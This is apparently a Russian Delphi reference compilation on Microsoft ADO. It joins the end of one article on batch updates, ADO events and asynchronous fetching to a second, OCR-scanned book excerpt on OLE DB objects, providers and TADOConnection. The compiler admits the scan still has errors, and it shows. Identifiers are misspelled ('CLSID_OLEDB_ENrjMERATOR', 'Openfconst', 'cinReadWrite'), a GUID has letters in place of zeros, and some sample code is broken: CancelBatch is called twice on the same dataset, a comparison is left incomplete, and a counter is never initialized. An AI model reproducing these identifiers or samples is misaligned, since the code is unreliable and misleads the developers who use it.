ltPessimistic – пессимистическая блокировка. Запись блокируется сразу после начала редактирования и до сохранения записей.
ltOptimistic – оптимистическая блокировка. Запись блокируется только когда изменения сохраняются.
ltBatchOptimistic – тоже самое что и ltOptimistic, но используется отложенное сохранение изменений записей. Более подробно она рассматривается в следующем пункте.

MarshalOptions – это свойство определяет будут ли отправлены на сервер те поля, которые не были изменены. При значении moMarshalAll будут, а при moMarshalModifiedOnly не будут.

Работа с отложенными изменениями
Обратите внимание, что в компонентах ADO нет свойства CachedUpdates, но это не означает, что невозможно отложить передачу изменений данных на сервер. Эта возможность встроена с ADO и называется Batch Updates.
Для ее использования необходимо использовать клиентский курсор (то есть установить свойство CursorLocation в clUseClient) и LockType в ltBatchOptimistic
Так же есть метод сохраняющий изменения UpdateBatch и метод их отменяющий CancelBatch.
К каким записям из набора данных применяется действие зависит от единственного параметра этих функций
arCurrent – текущая запись
arFiltered – записи, которые попали в фильтрацию.
arAll – все записи набора.

Пример работы с отложенными изменениями.
За основу возьмем пример работы с транзакциями.
Добавим компоненты
BatchCB типа TCheckBox
ApplyButton типа TButton
CancelButton типа TButton

Добавим обработчики событий OnClick во все эти три компонента.
Изменим обработчик события OnActivate формы.

procedure TForm1.FormActivate(Sender: TObject);
begin
    fix_controls;
    ApplyButton.Visible  := BatchCB.State = cbChecked;
    CancelButton.Visible := BatchCB.State = cbChecked;
end;

procedure TForm1.BatchCBClick(Sender: TObject);
begin
    MasterSQL.Close;
    DetailSQL.Close;
    if BatchCB.State = cbChecked then
      begin
         MasterSQL.LockType := ltBatchOptimistic;
         DetailSQL.LockType := ltBatchOptimistic;
      end
    else
      begin
         MasterSQL.LockType := ltOptimistic;
         DetailSQL.LockType := ltOptimistic;
      end;
    MasterSQL.Open;
    DetailSQL.Open;
    ApplyButton.Visible  := BatchCB.State = cbChecked;
    CancelButton.Visible := BatchCB.State = cbChecked;
end;

procedure TForm1.ApplyButtonClick(Sender: TObject);
begin
    MasterSQL.UpdateBatch;
    DetailSQL.UpdateBatch;
end;

procedure TForm1.CancelButtonClick(Sender: TObject);
begin
    MasterSQL.CancelBatch;
    MasterSQL.CancelBatch;
end;

События ADO
События ADO предназначены для той же цели, что и события VCL. Многие из них имеют аналогичные события VCL и компоненты вызывают из событий ADO события VCL. В компонентах доступны как события ADO, так и события BDE.
События соединения.
OnWillConnect – вызывается перед установкой соединения.
OnConnectComplete – после установки соединения.
OnDisconnect – при разрыве соединения.
Эти события инкапсулированы в компоненте TADOConnection.
События транзакции.
OnBeginTransComplete – при выполнении BeginTrans.
OnCommitTransComplete – при выполнении CommitTrans.
OnRollbackTransComplete – при выполнении RollbackTrans.
Эти события инкапсулированы в компоненте TADOConnection.
События выполнения команд
OnWillExecute и OnExecuteComplete вызываются перед и после выполнением команды.
Эти события инкапсулированы в компоненте TADOConnection, а не в компоненте TADOCommand, как можно было бы предположить. Это связано с тем, что в ADO объекта команды как такого нет и по этой причине он не может получать сообщения.

В TADOConnection также инкапсулировано событие OnInfoMessage, которое вызывается при приходе с сервера дополнительной информации. Формат и назначение зависят от сервера, с которым вы работаете.

В ADO так же есть события связанные с набором данных, а не с соединением, как вышеописанные. Они инкапсулированы в компоненты имеющие набор данных – TADODataSet, TADOTable, TADOQuery и TADOStoredProc.

Эти события можно разбить на три группы.
События выборки данных
OnFetchProgress – многократно вызывается в процессе выборки набора данных.
OnFetchComplete – завершение выборки.
Уведомления об изменении положения текущей записи в наборе.
OnWillMove, OnMoveComplete – вызываются до и после изменения положения текущей записи. OnWillMove позволяет отменить действие.
OnEndOfRecordset – вызывается при достижении конца набора данных, позволяет добавить новую запись.
Уведомления об изменении набора данных
OnWillChangeField, OnFieldChangeComplete – до и после изменения текущей записи набора.
OnWillChangeRecord, OnRecordChangeComplete – вызываются до и после изменения, добавления, удаления строки набора и отмене этих действий.
OnWillChangeRecordset, OnRecordsetChangeComplete - вызываются до и после открытия, закрытия, повторного запроса и синхронизации набора данных.

Многие события допускают прерывание действия. Эта возможность бывает полезна при асинхронной работе с сервером. Например, для прерывания слишком длинного запроса.
Асинхронная работа с сервером
В ADO есть возможность не имеющая аналогов ни в BDE ни в InterBase. Это асинхронное выполнение операций с сервером. Могут асинхронно выполнятся установка соединения с сервером (Connection), выполнение команды (Execute) и выборка набора данных (Fetch)
Асинхронное соединение
Для включения этого режима необходимо установить свойство ConnectOptions компонента TADOConnection в coAsyncConnect.
При установлении соединения происходит
Вызывается обработчик события OnWillConnect
Управление передается в программу
После окончания соединения, как успешного, так и ошибочного, вызывается обработчик события OnConnectComplete
Асинхронное выполнение команды
Надо заметить, что все компоненты ADO, за исключением компонента TADOConnection при активизации или выполнении исполняют команду ADO. Эти компоненты TADOCommand, TADODataSet, TADOTable, TADOQuery, TADOStoredProc. Установите в свойстве ExecuteOptions eoAsyncExecute.
При исполнении происходит
Вызывается обработчик события OnWillExecute
Управление передается в программу
После окончания выполнения команды, как успешного, так и ошибочного, вызывается обработчик события OnExecuteComplete
Асинхронная выборка данных
Асинхронная выборка данных поддерживается в компонентах TADODataSet, TADOTable, TADOQuery, TADOStoredProc. Для ее включения установите в свойстве ExecuteOptions eoAsyncFetch.
После исполнения команды происходит передача данных. В процессе передачи многократно вызывается обработчик сообщения OnFetchProgress. В его параметрах есть как количество уже переданных записей, так и общее количество. Это очень удобно для создания индикаторов типа TProgressBar. После того, как выборка с сервера закончена, вызывается обработчик события OnFetchComplete.

Ресурсы:

http://www.borland.com/delphi/
http://www.microsoft.com/ado/

Автор – Дмитрий Ю. Сидоров.


Использование ADO (статья)

Примечание от Vit: Данная статья взята с какой-то книги которую я нашёл на интернете. Причём к сожалению нет указаний ни на название книги, ни на автора, кроме того сия книга была отсканирована не самым тщательным образом и включает в себя огромное количество опечаток и неправильно распознанных слов, особенно в названиях свойств, методов и констант, а так же безобразно отформатированный код. Я попытался исправить максимальное количество таких опечаток настолько насколько это возможно не имея оригинала, но думаю, что часть ошибок всё ещё осталась, кроме того полностью переформатировал все примеры кода. Тем ни менее статью помещаю в DRKB в связи с довольно подробный и очень понятным описанием ADO

Технология ADO завоевала популярность у разработчиков, благодаря универсальности — базовый' набор интерфейсов OLE DB имеется в каждой современной операционной системе Microsoft. Поэтому для обеспечения доступа приложения к данным достаточно лишь правильно указать провайдер соединения ADO и затем переносить программу на любой компьютер, где имеется требуемая база данных и, конечно, установленная ADO.

Технология Microsoft ActiveX Data Objects обеспечивает универсальный доступ к источникам данных из приложений БД. Такую возможность предоставляют функции набора интерфейсов, созданные на основе общей модели объектов СОМ и описанные в спецификации OLE DB.

Технология ADO и интерфейсы OLE DB обеспечивают для приложений единый способ доступа к источникам данных различных типов. Например, приложение, использующее ADO, может применять одинаково сложные операции и к данным, хранящимся на корпоративном сервере SQL, и к электронным таблицам, и локальным СУБД. Запрос SQL, направленный любому источнику данных через ADO, будет выполнен.

Возникает вопрос: каким образом источники данных смогут выполнить этот запрос?
За серверы БД беспокоиться не стоит, обработка запросов SQL — это их основная обязанность. Но как быть с файловыми последовательностями, электронными таблицами, файлами электронной почты и т. д.? Здесь на помощь приходят механизмы ADO и интерфейсы OLE DB.

OLE DB представляет собой набор специализированных объектов СОМ, инкапсулирующих стандартные функции обработки данных, и специализированные функции конкретных источников данных и интерфейсов, обеспечивающих передачу данных между объектами.

Согласно терминологии ADO, любой источник данных (база данных, электронная таблица, файл) называется хранилищем данных, с которым при помощи провайдера данных взаимодействует приложение. Минимальный набор компонентов приложения может включать объект соединения, объект набора данных, объект процессора запросов.

Примечание

Объекты OLE DB создаются и функционируют так же, как и другие объекты СОМ. Каждому объекту соответствует идентификатор класса CLSID, хранящийся в системном реестре. Для создания объекта используется метод CoCreateinstance и соответствующая фабрика класса. Объекту соответствует набор интерфейсов, к методам которых можно обращаться после создания объекта.

В результате приложение обращается не прямо к источнику данных, а к объекту OLE DB, который "умеет" представить данные (например, из файла электронной почты) в виде таблицы БД или результата выполнения запроса SQL.

Технология ADO в целом включает в себя не только сами объекты OLE DB, но и механизмы, обеспечивающие взаимодействие объектов с данными и приложениями. На этом уровне важнейшую роль играют провайдеры ADO, координирующие работу приложений с хранилищами данных различных типов.

Такая архитектура позволяет сделать набор объектов и интерфейсов открытым и расширяемым. Набор объектов и соответствующий провайдер может быть создан для любого хранилища данных без внесения изменений в исходную структуру ADO. При этом существенно расширяется само понятие данных — ведь можно разработать набор объектов и интерфейсов и для нетрадиционных табличных данных. Например, это могут быть графические данные геоинформационных систем, древовидные структуры из системных реестров, данные CASE-инструментов и т. д.

Так как технология ADO основана на стандартных интерфейсах СОМ, которые являются системным механизмом Windows, это сокращает общий объем работающего программного кода и позволяет распространять приложения БД без вспомогательных программ и библиотек.

Примечание

Нижеследующее описание спецификации OLE DB представлено в соответствии с официальной терминологией Microsoft для данной предметной области.

Спецификация OLE DB различает следующие типы объектов:

Перечислитель (Enumerator) выполняет поиск источников данных или других перечислителей. Используется для обеспечения функционирования провайдеров ADO.

Объект-источник данных (Data Source Object) представляет хранилище данных.

Сессия (Session) объединяет совокупность объектов, обращающихся к одному хранилищу данных.

Транзакция (Trasaction) инкапсулирует механизм выполнения транзакции.

Команда (Command) содержит текст команды и обеспечивает ее выполнение. Командой может быть запрос SQL, обращение к таблице БД и т. д.

Набор рядов (Rowset) представляет собой совокупность строк данных, являющихся результатом выполнения команды ADO.

Объект-ошибка (Error) содержит информацию об исключительной ситуации.
Рассмотрим функциональные возможности основных объектов и интерфейсов OLE DB.


Перечислители

Объекты- перечислители обеспечивают поиск любых объектов ADO, которые имеют доступ к источникам данных. При этом другие перечислители также видны в данном перечислителе.

Первичный поиск источников данных осуществляется в провайдере ADO. Перечислители могут отбирать только источники данных конкретных типов, поэтому провайдер обеспечивает доступ к конкретному типу хранилища данных.

В составе ADO имеется системный корневой перечислитель, который выполняет начальный поиск других перечислителей и источников данных. Его можно использовать, зная его идентификатор класса CLSID_OLEDB_ENUMERATOR.

В Delphi GUID глобального перечислителя содержится в файле \Delphi7\Source \Vcl\OleDB.pas.

CLSID_OLEDB_ENrjMERATOR: TGUID= '{C8B522DO-5CF3-11CE-ADE5-OOAA0044773D}

Функции перечислителя содержатся в интерфейсе isourcesRowset. Метод

function GetSourcesRowset(const punkOuter: lUnknown; const riid: TGUID; cPropertySets: UINT; rgProperties: PDBPropSetArray; out ppSourcesRowset: lUnknown): HResult; stdcall;

возвращает ссылку на объект набора рядов (см. выше), содержащий сведения о найденных источниках данных или перечислителях.


Объекты соединения с источниками данных

Внутренний механизм ADO, обеспечивающий соединение с хранилищем данных, использует два типа объектов. Это объекты-источники данных и объекты-сессии.

Объект-источник данных обеспечивает представление информации о требуемом реальном источнике данных и подключение к нему.

Для ввода сведений о хранилище данных используется интерфейс iDBProperties. Для успешного подключения необходимо задать обязательные сведения. Вероятно, для любого хранилища данных будет актуальной информация об его имени, пользователе и пароле. Однако каждый тип хранилища имеет собственные уникальные настройки. Для получения списка всех обязательных параметров соединения с данным хранилищем можно воспользоваться методом

function GetPropertylnfo(cPropertylDSets: UINT; rgPropertylDSets: PDBPropIDSetArray; var pcPropertylnfoSets: UINT; out prgPropertylnfoSets: PDBPropInfoSet; ppDescBuffer: PPOleStr): HResult; stdcall;

который возвращает заполненную структуру DBPROPINFO.

PDBPropInfo = ^TDBPropInfo;

DBPROPINFO = packed record
  pwszDescription: PWideChar;
  dwPropertylD: DBPROPID;
  dwFlags: DBPROPFLAGS;
  vtType: Word;
  vValues: OleVariant;
end;

TDBPropInfo = DBPROPINFO;

Для каждого обязательного параметра в элементе dwFlags устанавливается значение DBPROPFLAGS_REQUIRED.

Для инициализации соединения необходимо использовать метод

function Initialize: HResult; stdcall;

интерфейса iDBinitiaiize объекта-источника данных.


Сессия

Из объекта-источника данных можно создавать объекты-сессии. Для этого используется метод

function CreateSession(const punkOuter: lUnknown; const riid: TGUID; out ppDBSession: lUnknown}: HResult; stdcall;

интерфейса iDBCreateSession. Сессия предназначена для обеспечения работы транзакций и наборов рядов.


Транзакции

Управление транзакциями в OLE DB реализовано на двух уровнях. Во-первых, всеми необходимыми методами обладает объект сессии. Он имеет интерфейсы ITransaction, ITransactionJoin, ITransactionLocal, ITransactionObject.

Внутри сессии транзакция управляется интерфейсами ITransactionLocal, ItransactionSC, ITransaction и их методами StartTransaction, Commit, Rollback.

Во-вторых, для объекта сессии можно создать объект транзакции при помощи метода

function GetTransactionObject(ulTransactionLevel: UINT; out ppTransactionObject: ITransaction): HResult; stdcall;

интерфейса ITransactionObject, который возвращает ссылку на интерфейс объекта-транзакции.


Наборы рядов

Объект-набор рядов является основным объектом ADO, обеспечивающим работу с данными. Он инкапсулирует совокупность рядов из источника данных, механизмы навигации по рядам и поддержания рядов в актуальном состоянии.

Объект сессии имеет обязательный интерфейс IOpenRowset с методом

function OpenRowset(const punkOuter: lUnknown; pTablelD: PDBID; plndexID: PDBID; const riid: TGUID; cPropertySets: UINT; rgPropertySets: PDBPropSetArray; ppRowset: PlUnknown): HResult; stdcall;

который открывает необходимый набор рядов.

В зависимости от возможностей источника данных набор рядов может поддерживать различные интерфейсы. Но пять из них являются обязательными:

IRowset — обеспечивает навигацию по рядам;

IAccessor — обеспечивает представление информации о формате рядов, содержащихся в буфере набора рядов;

IRowsetinfo — позволяет получить информацию о наборах рядов (например, число рядов или число обновленных рядов);

Icoiumnsinfo — позволяет получить информацию о колонках рядов (наименование, тип данных, возможность обновления и т. д.);

IconvertType — содержит единственный метод canConvert, позволяющий определить возможность преобразования типов данных в наборе рядов.
Примечание

В отличие от привычной практики разработки интерфейсов в рамках модели СОМ, интерфейсы OLE DB часто имеют всего один-два метода. В результате большая группа интерфейсов реализует несколько вполне стандартных функций.

Дополнительные возможности по управлению набором рядов предоставляют следующие интерфейсы:

IRowsetchange — выполняет изменения в наборе рядов (вносит изменения, добавляет новые ряды, удаляет ряды и т. д.);
IRowsetidentity — позволяет сравнивать ряды разных рядов;
IRowsetindex — обеспечивает использование индексов;
IRowsetLocate — выполняет поиск в наборе рядов;
IRowsetupdate — реализует механизм кэширования изменений.


Команды

Программные средства ADO были бы неполными, если бы не имели возможности использовать для работы с данными язык SQL. Операторы DML и DDL, ряд специальных операторов ADO носят общее название текстовых команд.

Объект-команда инкапсулирует саму текстовую команду и механизм обработки и передачи команды. Объект команды выполняет следующие операции:

разбор текста команды;
связывание команды с источником данных;
оптимизацию команды;
передачу команды источнику данных.
Главный интерфейс объекта команды icommand имеет три метода:

 function Cancel: HResult; stdcall;
отменяет выполнение команды;

 function Execute(const punkOuter: lUnknown; const riid: TGUID; var pParams: DBPARAMS; pcRowsAffected: PInteger; ppRowset: PlUnknown): HResult; stdcall;
исполняет команду;

 function GetDBSession(const riid: TGUID; out ppSession: lUnknown): HResult; stdcall;
возвращает ссылку на интерфейс сессии, вызвавший данную команду.

Помимо основного, объект команды обеспечивает доступ к дополнительным интерфейсам:

ICommandPrepare — содержит два метода (Prepare И Unprepare) для подготовки команды;
icommandProperties — задает для команды свойства, которые должны поддерживаться возвращаемым командой набором данных;
iCommandText — управляет текстом команды (этот интерфейс обязателен для объекта команды);
icommandwithParameters — обеспечивает работу с параметрами команды.


Провайдеры ADO

Провайдеры ADO обеспечивают соединение приложения, использующего данные через ADO, с источником данных (сервером SQL, локальной СУБД, файловой системой и т. д.). Для каждого типа хранилища данных должен существовать провайдер ADO.

Провайдер "знает" о местоположении хранилища данных и его содержании, умеет обращаться к данным с запросами и интерпретировать возвращаемую служебную информацию и результаты запросов с целью их передачи приложению.

Список установленных в данной операционной системе провайдеров доступен для выбора при установке соединения через компонент TADOConnection.

При инсталляции Microsoft ActiveX Data Objects в операционной системе устанавливаются следующие стандартные провайдеры.

Microsoft Jet OLE DB Provider обеспечивает соединение с данными СУБД Access при посредстве технологии DАО.

Microsoft OLE DB Provider for Microsoft Indexing Service обеспечивает доступ только для чтения к файлам и Internet-ресурсам Microsoft Indexing Service.

Microsoft OLE DB Provider for Microsoft Active Directory Service обеспечивает доступ к ресурсам службы каталогов (Active Directory Service).

Microsoft OLE DB Provider for Internet Publishing позволяет использовать ресурсы, предоставляемые Microsoft FrontPage, Microsoft Internet Information Server, HTTP-файлы.

Microsoft Data Shaping Service for OLE DB позволяет использовать иерархические наборы данных.

Microsoft OLE DB Simple Provider предназначен для организации доступа к источникам данных, поддерживающим только базисные возможности OLE DB.

Microsoft OLE DB Provider for ODBC drivers обеспечивает доступ к данным, которые уже "прописаны" при помощи драйверов ODBC. Однако реальное использование столь экзотичных вариантов соединений представляется проблематичным. Драйверы ODBC и так славятся своей медлительностью, поэтому дополнительный слой сервисов здесь ни к чему.

Microsoft OLE DB Provider for Oracle обеспечивает соединение с сервером Oracle.

Microsoft OLE DB Provider for SQL Server обеспечивает соединение с сервером Microsoft SQL Server.


Реализация ADO в Delphi

Механизм доступа к данным через ADO и многочисленные объекты и интерфейсы реализованы в VCL Delphi в виде набора компонентов, расположенных на странице ADO. Все необходимые интерфейсы, обеспечивающие работу компонентов, объявлены и описаны в файлах OleDB.pas и ADODB.pas в папке \Delphi7\Source\Vcl.

Компонент TADOConnection вобрал возможности перечислителя, источника данных и сессии с возможностями обслуживания транзакций.

Текстовые команды ADO реализованы в компоненте TADOCommand.

Наборы рядов (нотация Microsoft) можно получить при помощи компонентов TADOTable, TADOQuery, TADOstoredProc. Каждый из них реализует способ доступа к конкретному типу представления данных в хранилище. Далее по тексту, применительно к компонентам Delphi, совокупность возвращаемых из хранилища данных строк будем называть набором записей, что соответствует документации Inprise (см. www.borland.com или www.borland.ru) и стилю изложения предыдущих глав.

Набор свойств и методов компонентов ADO обеспечивает реализацию всех необходимых приложению БД функций. Способы использования компонентов ADO немногим отличаются от стандартных компонентов VCL доступа к данным (см. гл. 11).

Однако при необходимости разработчик может использовать все возможности интерфейсов ADO, обращаясь к ним через соответствующие объекты ADO.

Компоненты доступа к данным ADO могут использовать два варианта подключения к хранилищу данных. Это стандартный метод ADO и стандартный метод Delphi.

В первом случае компоненты используют свойство connectionstring для прямого обращения к хранилищу данных. Во втором случае используется специальный компонент TADOConnection, который обеспечивает расширенное управление соединением и позволяет обращаться к данным нескольким компонентам одновременно.

Свойство connectionstring предназначено для хранения информации о соединении с объектом ADO. В нем через точку с запятой перечисляются все необходимые параметры. Как минимум, это должны быть имена провайдера соединения или удаленного сервера:

Connectionstring:='Remote Server=ServerName;Provider=ProviderName';

При необходимости указываются путь к удаленному провайдеру:

Connectionstring:='Remote Provider=ProviderName';

и параметры, необходимые провайдеру:

'User Name=User_Name;Password=Password';

Каждый компонент, обращающийся к хранилищу данных ADO самостоятельно, задавая параметры соединения в свойстве Connectionstring, открывает собственное соединение. Чем больше приложение содержит компонентов ADO, тем больше соединений может быть открыто одновременно.

Поэтому целесообразно реализовать механизм соединения ADO через специальный компонент — TADOConnection. Этот компонент открывает соединение, также заданное свойством Connectionstring (см. выше), и предоставляет разработчику дополнительные средства управления соединением.

Компоненты, работающие с хранилищем данных ADO через данное соединение, подключаются к компоненту TADOConnection при помощи свойства

property Connection: TADOConnection;

которое имеет каждый компонент, инкапсулирующий набор данных ADO.


TADOConnection

Компонент TADOConnection предназначен для управления соединением с объектами хранилища данных ADO. Он обеспечивает доступ к хранилищу данных компонентам ADO, инкапсулирующим набор данных (см. ниже).

Применение этого компонента дает разработчику ряд преимуществ:

все компоненты доступа к данным ADO обращаются к хранилищу данных через одно соединение;
возможность напрямую задать объект провайдера соединения;
доступ к объекту соединения ADO;
возможность выполнять команды ADO;
выполнение транзакций;
расширенное управление соединением при помощи методов-обработчиков событий.

Настройка соединения

Перед открытием соединения необходимо задать его параметры. Для этого предназначено свойство

property ConnectionString: WideString;

которое подробно рассматривалось в разд. "Компонент TADOConnection". Добавим лишь, что набор параметров изменяется в зависимости от типа провайдера и может настраиваться как вручную, так и при помощи специального редактора параметров соединения, который вызывается двойным щелчком на компоненте TADOConnection, перенесенным на форму, или щелчком на кнопке в поле редактирования свойства ConnectionString в Инспекторе объектов. Здесь можно настроить соединение через свойство ConnectionString (радиокнопка Use Connection String) или загрузить параметры соединения из файла с расширением udl (радиокнопка Use Data Link File).

Файл UDL представляет собой обычный текстовый файл, в котором указывается название параметра и через знак равенства его значение. Параметры разделяются точкой с запятой.

[oledb]

Everything after this line is an OLE DB initstring

Provider=Microsoft.Jet.OLEDB.4.0;Data Source=C:\Program Files\Common Files\Borland Shared\Data\DBDEMOS.mdb

Если файл параметров соединения отсутствует, настройку придется осуществлять вручную. Для этого следует нажать кнопку Build. В результате появляется диалоговое окно Data Link Properties, в котором можно настроить параметры соединения вручную. Оно представляет собой четырехстраничный блокнот, позволяющий вам этап за этапом задать все необходимые параметры.

Первая страница Provider позволяет выбрать провайдер OLE DB для конкретного типа источника данных из числа провайдеров, установленных в системе. Здесь вы видите провайдеры не только для серверов БД, но и служб, установленных в операционной системе. Состав элементов управления следующих страниц зависит от типа источника данных, но различается не так уж сильно. Далее практически везде необходимо задать источник данных (имя сервера, базу данных, файл и т. д.), режим аутентификации пользователя, а также определить имя и пароль пользователя.
Следующая страница Connection настраивает источник данных.
На первом этапе требуется выбрать имя сервера из доступных для данного компьютера.
Второй этап определяет режим аутентификации пользователя. Это либо система безопасности Windows, либо собственная система аутентификации сервера. Здесь же надо определить имя и пароль пользователя.
Третий этап предназначен для выбора базы данных сервера.
По окончании настройки источника данных вы можете проверить соединение, нажав кнопку Test Connection.
Страница Advanced задает дополнительные параметры соединения. В зависимости от типа хранилища данных некоторые элементы этой страницы могут быть недоступны.

Список Impersonation level определяет возможности клиентов при подключении в соответствии с полномочиями их ролей. В списке могут быть выбраны следующие значения:

Anonymous — роль клиента недоступна серверу;
Identify — роль клиента опознается сервером, но доступ к системным объектам заблокирован;
Impersonate — процесс сервера может быть представлен защищенным контекстом клиента;
Delegate — процесс сервера может быть представлен защищенным контекстом клиента, при этом сервер может осуществлять другие подключения.

Список Protection level позволяет задать уровень защиты данных. В списке могут быть выбраны следующие значения:

None — подтверждение не требуется;
Connect — подтверждение необходимо только при подключении;
Call — подтверждение источника данных при каждом запросе;
Pkt — подтверждение получения от клиента всех данных;
Pkt Integrity — подтверждение получения от клиента всех данных с соблюдением целостности;
Pkt Privacy — подтверждение получения от клиента всех данных с соблюдением целостности и защита шифрованием.
В поле Connect timeout можно задать время ожидания соединения в секундах. По истечении этого времени процесс прерывается.

При необходимости список Access permissions задает права доступа к отдельным видам выполняемых операций. В списке можно выбрать следующие значения:

Read — только чтение;
ReadWrite — чтение и запись;
Share Deny None — полный доступ всем на чтение и запись;
Share Deny Read — чтение запрещено всем;
Share Deny Write — запись запрещена всем;
Share Exclusive — чтение и запись запрещена всем;
Write — только запись.
Последняя страница All позволяет просмотреть и при необходимости изменить все сделанные настройки (для этого предназначена кнопка Edit Value...) для выбранного провайдера.
После подтверждения сделанных в диалоге настроек из них формируется значение свойства Connectionstring.

Управление соединением

Соединение с хранилищем данных ADO открывается и закрывается при помощи свойства

property Connected: Boolean;

или методов

procedure Open; overload;
procedure Openfconst UserlD: WideString; const Password: WideString); overload;
и
procedure Close;

Метод open является перегружаемым при необходимости использования удаленного или локального соединения. Для удаленного соединения применяется вариант с параметрами UserID и Password.

До и после открытия и закрытия соединения разработчик может использовать соответствующие стандартные методы-обработчики событий:

property BeforeConnect: TNotifyEvent;
property BeforeDisconnect: TNotifyEvent;
property AfterConnect: TNotifyEvent;
property AfterDisconnect: TNotifyEvent;

Кроме этого, компонент TADOConnection имеет дополнительные методы-обработчики. После получения подтверждения от провайдера о том, что соединение будет открыто, перед его реальным открытием вызывается метод

TWillConnectEvent = procedure(Connection: TADOConnection; var Connectionstring, UserlD, Password: WideString; var ConnectOptions: TConnectOption;

var EventStatus: TEventStatus) of object;
property OnWillConnect: TWillConnectEvent;

Параметр Connection содержит указатель на вызвавший обработчик компонент.

Параметры Connectionstring, userID и Password определяют строку параметров, имя и пароль пользователя.

Соединение может быть синхронным или асинхронным, что и определяется параметром ConnectOptions типа TConnectOption:

type TConnectOption = (coConnectUnspecified, coAsyncConnect);

coConnectunspecified — синхронное соединение всегда ожидает результат последнего запроса;

coAsyncConnect — асинхронное соединение может выполнять новые запросы, не дожидаясь ответа от предыдущих запросов.

Наконец, параметр Eventstatus позволяет определить успешность выполнения посланного запроса на соединение:

type TEventStatus = (esOK, esErrorsOccured, esCantDeny, esCancel, esUnwantedEvent);

esOK — запрос на соединение выполнен успешно;
esErrorsOccured — в процессе выполнения запроса возникла ошибка;
esCantDeny — соединение не может быть прервано;
esCancel — соединение было прервано до открытия;
esUnwantedEvent — внутренний флаг ADO.

Например, в случае успешного соединения можно выбрать синхронный режим работы компонента:

procedure TForml.ADOConnectionWillConnect(Connection: TADOConnection;
 var ConnectionString, UserlD, Password: WideString;
 var ConnectOptions: TConnectOption;
 var Eventstatus: TEventStatus);
begin
  if Eventstatus = esOK then ConnectOptions := coConnectunspecified;
end;

Кстати, параметр синхронности/асинхронности можно также задать при помощи свойства

ConnectOptions property ConnectOptions: TConnectOption;

После открытия соединения для выполнения собственного кода можно использовать метод-обработчик

TConnectErrorEvent = procedure(Connection: TADOConnection; Error: Error;
 var Eventstatus: TEventStatus) of object;
property OnConnectComplete: TConnectErrorEvent;

Здесь, если в процессе открытия соединения возникла ошибка, параметр Eventstatus будет равен esErrorsOccured, а параметр Error содержит объект ошибки ADO.

Теперь перейдем к вспомогательным свойствам и методам компонента TADOConnection, обеспечивающим соединение.

Для ограничения времени открытия соединения для медленных каналов связи используется свойство

property ConnectionTimeout: Integer;

задающее время ожидания открытия соединения в секундах. По умолчанию оно равно 15 сек.

Также можно определить реакцию компонента на неиспользуемое соединение. Если через соединение не подключен ни один активный компонент, свойство

property KeepConnection: Boolean;

в значении True сохраняет соединение открытым. Иначе, после закрытия последнего связанного компонента ADO, соединение закрывается.

При необходимости провайдер соединения ADO определяется напрямую свойством

property Provider: WideString;

Имя источника данных по умолчанию задается свойством

property DefaultDatabase: WideString;

Но если этот же параметр указан в строке соединения, то он перекрывает собой значение свойства.

При необходимости прямой доступ к объекту соединения OLE DB обеспечивает свойство

property ConnectionObject: _Connection;

При открытии соединения необходимо вводить имя пользователя и его пароль. Появление стандартного диалога управляется свойством

property LoginPrompt: Boolean;

Без этого диалога для задания данных параметров можно использовать свойство Connectionstring, метод open (см. выше) или метод-обработчик

type TLoginEvent = procedure(Sender:TObject; Username, Password: string) of object;
property OnLogin: TLoginEvent;

Свойство

type TConnectMode = (cmUnknown, cmRead, cmWrite, cinReadWrite, cmShareDenyRead, cmShareDenyWrite, cmShareExclusive, cmShareDenyNone);
property Mode: TConnectMode;

задает доступные для соединения операции:

cmUnknown — разрешение неизвестно или не может быть установлено;
cmRead — разрешение на чтение;
cmwrite — разрешение на запись;
cmReadWrite — разрешение на чтение и запись;
cmshareDenyRead — разрешение на чтение для других соединений запрещено;
cmshareoenywrite — разрешение на запись для других соединений запрещено;
cmShareExciusive — разрешение на открытие для других соединений запрещено;
cmshareDenyNone — открытие других соединений с разрешениями запрещено.

Доступ к связанным наборам данных и командам ADO

Компонент TADOconnection обеспечивает доступ ко всем компонентам, которые используют его для доступа к хранилищу данных ADO. Все открытые таким образом наборы данных доступны через индексированное свойство

property DataSets[Index: Integer]: TCustomADODataSet;

Каждый элемент этого списка содержит дескриптор компонента доступа к данным ADO (тип TCustomADODataSet). Общее число связанных компонентов с наборами данных возвращается свойством

property DataSetCount: Integer;

Для этих компонентов можно централизованно установить тип используемого курсора при помощи свойства

type TCursorLocation = (clUseServer, clUseClient); property CursorLocation: TCursorLocation;

Значение clUseClient задает локальный курсор на стороне клиента, что позволяет выполнять любые операции с данными, в том числе не поддерживаемые сервером.

Значение cIUseServer задает курсор на сервере, который реализует только возможности сервера, но обеспечивает быструю обработку больших массивов данных.

Например:

for i := 0 to ADOConnection.DataSetCount — 1 do
  begin
    if ADOConnection.DataSets[i].Active = True then       ADOConnection.DataSets[i].Close;
    ADOConnection.DataSets[i].CursorLocation := clUseClient;
  end;

Помимо наборов данных компонент TADOConnection обеспечивает выполнение команд ADO. Команду ADO инкапсулирует специальный компонент TADOCommand, который рассматривается ниже. Все команды ADO, работающие с хранилищем данных через это соединение, доступны для управления через индексированное свойство

property Commands[Index: Integer]: TADOCommand

Каждый элемент этого списка представляет собой экземпляр класса TADOCommand.

Общее число доступных команд возвращается свойством

property CommandCount: Integer

Например, сразу после открытия соединения можно выполнить все связанные команды ADO, реализовав таким образом нечто вроде скрипта:

procedure TForml.ADOConnectionConnectComplete(Connection: TADOConnection;
  const Error: Error; var EventStatus: TEventStatus);
var i, ErrorCnt: Integer;
begin
  if EventStatus = esOK then
    for i := 0 to ADOConnection.CommandCount — 1 do
      try
        if ADOConnection.Commands[i].CommandText <> then                             ADOConnection.Commands[i].Execute;
      except
        on E: Exception do Inc(ErrorCnt);
      end;
end;

Однако компонент TADOConnection может выполнять команды ADO самостоятельно, без помощи других компонентов. Для этого используется перегружаемый метод

function Execute(const CommandText: WideString; ExecuteOptions: TExecuteOptions = []): _RecordSet; overload;

procedure Execute(const CommandText: WideString; var RecordsAffected:
 Integer; ExecuteOptions: TExecuteOptions = [eoExecuteNoRecords]);overload;

Выполнение команды осуществляется процедурой Execute (если команда не возвращает набор записей) или одноименной функцией Execute (если команда возвращает набор записей).

Параметр commandText должен содержать текст команды. Параметр RecordsAffected возвращает число обработанных командой записей (если они есть). Параметр

type

TExecuteOption = (eoAsyncExecute, eoAsyncFetch, eoAsyncFetchNonBlocking, eoExecuteNoRecords);

TExecuteOptions = set of TExecuteOption;

задает условия выполнения команды:

eoAsyncExecute — команда выполняется асинхронно (соединение не будет ожидать окончания выполнения команды, а продолжит работу, обработав сигнал о завершении команды, когда он поступит);
eoAsyncFetch — команда получает необходимые записи также асинхронно;
